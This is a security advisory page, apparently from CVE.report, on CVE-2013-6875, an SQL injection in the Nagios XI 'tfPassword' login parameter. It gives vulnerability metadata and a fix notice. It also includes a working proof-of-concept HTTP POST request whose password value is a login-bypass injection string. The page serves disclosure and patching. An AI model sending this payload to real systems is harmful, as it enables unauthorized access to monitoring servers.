Nagios XI 'tfPassword' Parameter SQL Injection Vulnerability

BID:63754

Info

Nagios XI 'tfPassword' Parameter SQL Injection Vulnerability

Bugtraq ID: 63754
Class: Input Validation Error
CVE: CVE-2013-6875
Remote: Yes
Local: No
Published: Nov 13 2013 12:00AM
Updated: Dec 02 2013 12:18AM
Credit: Denis Andzakovic of Security Assessment
Vulnerable:
Not Vulnerable:

Discussion

Nagios XI 'tfPassword' Parameter SQL Injection Vulnerability

Nagios XI is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Versions prior to Nagios XI 2012R2.4 are vulnerable.

Exploit / POC

Nagios XI 'tfPassword' Parameter SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following example request is available:

POST /nagiosql/index.php HTTP/1.1
Host: localhost
Content-Length: 69
Origin: http://locahost
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.76
Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost/nagiosql/
Cookie: PHPSESSID=httj04vv2g028sbs73v9dqoqs3

tfUsername=test&tfPassword=%27%29+OR+1%3D1+limit+1%3B--+&Submit=Login

Solution / Fix

Nagios XI 'tfPassword' Parameter SQL Injection Vulnerability

Solution:
Updates are available. Please see the references or vendor advisory for more information.

References

Nagios XI 'tfPassword' Parameter SQL Injection Vulnerability

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report